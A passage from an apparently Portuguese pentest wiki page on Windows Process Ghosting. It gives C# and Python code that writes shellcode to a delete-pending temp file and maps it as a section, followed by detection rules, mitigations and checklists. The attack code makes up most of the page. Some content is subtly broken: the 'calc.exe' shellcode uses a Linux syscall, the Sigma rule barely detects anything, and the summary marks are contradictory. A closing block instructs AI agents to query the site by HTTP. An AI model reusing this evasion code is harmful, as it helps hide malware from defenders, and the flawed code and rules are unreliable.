    static extern bool SetFileInformationByHandle(IntPtr hFile, int FileInformationClass,
                                                   ref FILE_DISPOSITION_INFO lpFileInformation,
                                                   uint dwBufferSize);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr CreateFileMapping(IntPtr hFile, IntPtr lpAttributes,
                                            uint flProtect, uint dwMaximumSizeHigh,
                                            uint dwMaximumSizeLow, string lpName);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr MapViewOfFile(IntPtr hFileMappingObject, uint dwDesiredAccess,
                                        uint dwFileOffsetHigh, uint dwFileOffsetLow,
                                        uint dwNumberOfBytesToMap);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool CloseHandle(IntPtr hObject);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool GetTempPath(int nBufferLength, StringBuilder lpBuffer);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern int GetTempFileName(string lpPathName, string lpPrefixString,
                                       uint uUnique, StringBuilder lpTempFileName);
    
    [StructLayout(LayoutKind.Sequential)]
    struct FILE_DISPOSITION_INFO
    {
        public bool DeleteFile;
    }
    
    // Constants
    const uint GENERIC_READ = 0x80000000;
    const uint GENERIC_WRITE = 0x40000000;
    const uint FILE_SHARE_READ = 0x00000001;
    const uint FILE_SHARE_WRITE = 0x00000002;
    const uint CREATE_ALWAYS = 2;
    const uint FILE_ATTRIBUTE_NORMAL = 0x80;
    const uint PAGE_READONLY = 0x02;
    const uint FILE_MAP_READ = 0x0004;
    const int FileDispositionInfo = 4;
    
    // Shellcode (calc.exe)
    static byte[] shellcode = {
        0x48, 0x31, 0xC0, 0x50, 0x48, 0xB8, 0x63, 0x61, 0x6C, 0x63,
        0x2E, 0x65, 0x78, 0x65, 0x50, 0x48, 0x89, 0xE2, 0x48, 0x31,
        0xC0, 0x50, 0x48, 0x8D, 0x52, 0x04, 0x48, 0x89, 0xE1, 0x48,
        0x31, 0xC0, 0xB0, 0x3B, 0x0F, 0x05
    };
    
    static bool ProcessGhosting(string targetExe)
    {
        Console.WriteLine($"[*] Process Ghosting starting");
        Console.WriteLine($"[*] Target executable: {targetExe}");
        
        // Criar arquivo temporário
        StringBuilder tempPath = new StringBuilder(260);
        GetTempPath(260, tempPath);
        
        StringBuilder tempFile = new StringBuilder(260);
        GetTempFileName(tempPath.ToString(), "ghost", 0, tempFile);
        
        // 1. Criar arquivo
        IntPtr hFile = CreateFile(tempFile.ToString(),
            GENERIC_READ | GENERIC_WRITE,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
            IntPtr.Zero,
            CREATE_ALWAYS,
            FILE_ATTRIBUTE_NORMAL,
            IntPtr.Zero);
        
        if (hFile == IntPtr.Zero)
        {
            Console.WriteLine($"[-] CreateFile failed: {Marshal.GetLastWin32Error()}");
            return false;
        }
        Console.WriteLine($"[+] Ghost file created: {tempFile}");
        
        // 2. Escrever payload
        uint bytesWritten;
        if (!WriteFile(hFile, shellcode, (uint)shellcode.Length, out bytesWritten, IntPtr.Zero))
        {
            Console.WriteLine($"[-] WriteFile failed: {Marshal.GetLastWin32Error()}");
            CloseHandle(hFile);
            return false;
        }
        
        if (!SetEndOfFile(hFile))
        {
            Console.WriteLine($"[-] SetEndOfFile failed: {Marshal.GetLastWin32Error()}");
            CloseHandle(hFile);
            return false;
        }
        Console.WriteLine($"[+] Payload written ({bytesWritten} bytes)");
        
        // 3. Marcar para exclusão
        FILE_DISPOSITION_INFO fdi = new FILE_DISPOSITION_INFO { DeleteFile = true };
        if (!SetFileInformationByHandle(hFile, FileDispositionInfo, ref fdi, 
                                        (uint)Marshal.SizeOf(fdi)))
        {
            Console.WriteLine($"[-] SetFileInformationByHandle failed: {Marshal.GetLastWin32Error()}");
            CloseHandle(hFile);
            return false;
        }
        Console.WriteLine("[+] File marked for deletion");
        
        // 4. Criar seção
        IntPtr hSection = CreateFileMapping(hFile, IntPtr.Zero, PAGE_READONLY, 0, 0, null);
        CloseHandle(hFile);
        
        if (hSection == IntPtr.Zero)
        {
            Console.WriteLine($"[-] CreateFileMapping failed: {Marshal.GetLastWin32Error()}");
            return false;
        }
        Console.WriteLine("[+] Section created from pending delete file");
        
        // 5. Mapear seção
        IntPtr pImageBase = MapViewOfFile(hSection, FILE_MAP_READ, 0, 0, 0);
        if (pImageBase == IntPtr.Zero)
        {
            Console.WriteLine("[-] MapViewOfFile failed");
            CloseHandle(hSection);
            return false;
        }
        
        // 6. Criar processo (simulado - NtCreateProcess não disponível em C#)
        Console.WriteLine("[+] Process creation would occur here (requires NtCreateProcess)");
        
        // 7. Limpeza
        CloseHandle(hSection);
        
        Console.WriteLine("[+] Process Ghosting simulation complete");
        return true;
    }
    
    static void Main(string[] args)
    {
        string targetExe = args.Length > 0 ? args[0] : @"C:\Windows\System32\svchost.exe";
        ProcessGhosting(targetExe);
    }
}
```

***

## 🐍 **Implementação em Python**

```python
#!/usr/bin/env python3
# process_ghosting.py

import ctypes
import ctypes.wintypes
import sys
import os

# Windows API definitions
kernel32 = ctypes.windll.kernel32
ntdll = ctypes.windll.ntdll

# Constants
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
FILE_SHARE_READ = 0x00000001
FILE_SHARE_WRITE = 0x00000002
CREATE_ALWAYS = 2
FILE_ATTRIBUTE_NORMAL = 0x80
PAGE_READONLY = 0x02
FILE_MAP_READ = 0x0004

# Estrutura FILE_DISPOSITION_INFO
class FILE_DISPOSITION_INFO(ctypes.Structure):
    _fields_ = [("DeleteFile", ctypes.c_byte)]

# Shellcode (calc.exe)
shellcode = bytearray([
    0x48, 0x31, 0xC0, 0x50, 0x48, 0xB8, 0x63, 0x61, 0x6C, 0x63,
    0x2E, 0x65, 0x78, 0x65, 0x50, 0x48, 0x89, 0xE2, 0x48, 0x31,
    0xC0, 0x50, 0x48, 0x8D, 0x52, 0x04, 0x48, 0x89, 0xE1, 0x48,
    0x31, 0xC0, 0xB0, 0x3B, 0x0F, 0x05
])

def process_ghosting(target_exe):
    """Executar Process Ghosting"""
    print(f"[*] Process Ghosting starting")
    print(f"[*] Target executable: {target_exe}")
    
    # Criar arquivo temporário
    temp_path = ctypes.create_unicode_buffer(260)
    kernel32.GetTempPathW(260, temp_path)
    
    temp_file = ctypes.create_unicode_buffer(260)
    kernel32.GetTempFileNameW(temp_path.value, "ghost", 0, temp_file)
    temp_filename = temp_file.value
    
    # 1. Criar arquivo
    hFile = kernel32.CreateFileW(temp_filename,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        None,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        None)
    
    if hFile == -1:
        print(f"[-] CreateFile failed: {ctypes.get_last_error()}")
        return False
    print(f"[+] Ghost file created: {temp_filename}")
    
    # 2. Escrever payload
    bytes_written = ctypes.c_uint32()
    if not kernel32.WriteFile(hFile, shellcode, len(shellcode),
                               ctypes.byref(bytes_written), None):
        print(f"[-] WriteFile failed: {ctypes.get_last_error()}")
        kernel32.CloseHandle(hFile)
        return False
    
    if not kernel32.SetEndOfFile(hFile):
        print(f"[-] SetEndOfFile failed: {ctypes.get_last_error()}")
        kernel32.CloseHandle(hFile)
        return False
    print(f"[+] Payload written ({bytes_written.value} bytes)")
    
    # 3. Marcar para exclusão
    fdi = FILE_DISPOSITION_INFO()
    fdi.DeleteFile = 1
    
    if not kernel32.SetFileInformationByHandle(hFile, 4, ctypes.byref(fdi),
                                                 ctypes.sizeof(fdi)):
        print(f"[-] SetFileInformationByHandle failed: {ctypes.get_last_error()}")
        kernel32.CloseHandle(hFile)
        return False
    print("[+] File marked for deletion")
    
    # 4. Criar seção
    hSection = kernel32.CreateFileMappingW(hFile, None, PAGE_READONLY, 0, 0, None)
    kernel32.CloseHandle(hFile)
    
    if hSection == 0:
        print(f"[-] CreateFileMapping failed: {ctypes.get_last_error()}")
        return False
    print("[+] Section created from pending delete file")
    
    # 5. Mapear seção
    pImageBase = kernel32.MapViewOfFile(hSection, FILE_MAP_READ, 0, 0, 0)
    if pImageBase == 0:
        print("[-] MapViewOfFile failed")
        kernel32.CloseHandle(hSection)
        return False
    
    # 6. Criar processo (NtCreateProcess não está disponível diretamente)
    print("[+] Process creation would occur here (requires NtCreateProcess)")
    
    # 7. Limpeza
    kernel32.UnmapViewOfFile(pImageBase)
    kernel32.CloseHandle(hSection)
    
    print("[+] Process Ghosting simulation complete")
    return True

if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else "C:\\Windows\\System32\\svchost.exe"
    process_ghosting(target)
```

***

## 🔍 **Detecção e Monitoramento**

### **Indicadores de Comprometimento (IOCs)**

```yaml
Indicadores de Process Ghosting:
  Operações de Arquivo:
    - Criação de arquivo seguida imediatamente por exclusão
    - Arquivos marcados como "delete pending" antes de criação de processo
    - Seções de imagem criadas a partir de arquivos excluídos
  
  Processos:
    - Processos criados sem arquivo de imagem correspondente
    - Discrepância entre imagem do processo e arquivo no disco
    - Processos com caminho de imagem não existente
  
  APIs Monitoradas:
    - SetFileInformationByHandle com FileDispositionInfo
    - CreateFileMapping em arquivo marcado para exclusão
    - NtCreateProcess com seção de arquivo excluído
```

### **Regras de Detecção (Sigma)**

```yaml
title: Process Ghosting Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detecta criação de processo a partir de arquivo excluído
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 1
        Image: '*\*'
        Company: ''
    condition: selection
```

### **Sysmon Configuration**

```xml
<Sysmon>
    <EventFiltering>
        <!-- Monitorar criação de processos -->
        <ProcessCreate onmatch="include">
            <Image condition="contains">\Temp\</Image>
        </ProcessCreate>
        
        <!-- Monitorar exclusão de arquivos -->
        <FileDelete onmatch="include">
            <TargetFilename condition="contains">\Temp\</TargetFilename>
        </FileDelete>
    </EventFiltering>
</Sysmon>
```

***

## 🛡️ **Mitigação e Prevenção**

### **Proteções do Sistema**

```powershell
# Habilitar Code Integrity Guard
Set-ProcessMitigation -System -Enable CodeIntegrity

# Habilitar Control Flow Guard
Set-ProcessMitigation -System -Enable CFG

# Configurar Windows Defender Application Control
# Criar política que bloqueia criação de processos a partir de arquivos temporários

# Configurar Attack Surface Reduction (ASR) rules
Add-MpPreference -AttackSurfaceReductionRules_Ids 7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c -AttackSurfaceReductionRules_Actions Enabled
```

### **Hardening de Processos**

```c
// Adicionar proteções ao processo
void ProtectProcess(HANDLE hProcess) {
    PROCESS_MITIGATION_IMAGE_LOAD_POLICY imgLoad = {0};
    imgLoad.PreferSystem32Images = 1;
    SetProcessMitigationPolicy(ProcessImageLoadPolicy, &imgLoad, sizeof(imgLoad));
}
```

### **Configurações de Segurança**

```yaml
Recomendações:
  - Manter Windows atualizado
  - Habilitar Windows Defender
  - Configurar ASR rules para bloquear criação de processos a partir de arquivos temporários
  - Usar Windows Defender Application Control
  - Monitorar processos sem arquivo de imagem correspondente
```

***

## 📋 **Checklists de Segurança**

### **Checklist de Prevenção**

* [ ] **Sistema**
  * [ ] Habilitar CFG e Code Integrity
  * [ ] Atualizar Windows regularmente
  * [ ] Configurar WDAC ou AppLocker
* [ ] **Monitoramento**
  * [ ] Monitorar operações de arquivo (criação e exclusão)
  * [ ] Alertar sobre processos sem arquivo de imagem
  * [ ] Verificar integridade de processos

### **Checklist de Teste**

* [ ] **Reconhecimento**
  * [ ] Verificar suporte do sistema
  * [ ] Identificar diretórios temporários
* [ ] **Execução**
  * [ ] Testar criação de arquivo fantasma
  * [ ] Verificar exclusão de arquivo
* [ ] **Validação**
  * [ ] Confirmar execução do payload
  * [ ] Verificar ausência de arquivo no disco

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
Process Ghosting:
  ✅ Técnica avançada de evasão
  ✅ Deixa arquivo deletado no disco
  ✅ Bypassa detecção baseada em arquivo
  ✅ Utiliza mecanismo "delete pending" do Windows

Defesas essenciais:
  ❌ Monitorar criação e exclusão de arquivos
  ✓ Habilitar WDAC
  ✓ Configurar detecção de processos fantasma
```

### **Recomendações Finais**

1. **Para Pentesters**
   * Verificar suporte a Process Ghosting (Windows 10 1809+)
   * Testar em ambientes controlados
   * Combinar com outras técnicas de evasão
2. **Para Blue Teams**
   * Monitorar criação de processos a partir de arquivos excluídos
   * Configurar regras de detecção
   * Implementar políticas de código dinâmico


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/windows/injecao-de-processos-process-injection/process-ghosting.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
